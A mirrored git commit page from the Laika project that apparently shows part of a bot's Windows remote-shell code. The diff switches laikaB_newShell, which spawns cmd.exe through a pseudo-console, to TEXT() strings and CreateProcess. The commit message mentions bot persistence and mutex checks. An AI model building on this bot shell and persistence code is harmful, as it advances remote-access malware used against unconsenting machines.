mirror of
https://github.com/CPunch/Laika.git
synced 2026-02-09 01:30:03 +00:00
Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()
- use Sleep() for LAIKA_PERSISTENCE in main() - use Mutex for checking existing LaikaBots - switched to TEXT() for win32 strings
This commit is contained in:
@@ -80,7 +80,7 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
|
||||
HRESULT hr;
|
||||
char cmd[] = "cmd.exe";
|
||||
LPCTSTR cmd = TEXT("cmd.exe");
|
||||
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
||||
|
||||
ZeroMemory(shell, sizeof(struct sLaika_shell));
|
||||
@@ -102,7 +102,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
|
||||
}
|
||||
|
||||
/* launch cmd shell */
|
||||
hr = CreateProcessA(
|
||||
hr = CreateProcess(
|
||||
NULL, /* No module name - use Command Line */
|
||||
cmd, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
|
||||
Reference in New Issue
Block a user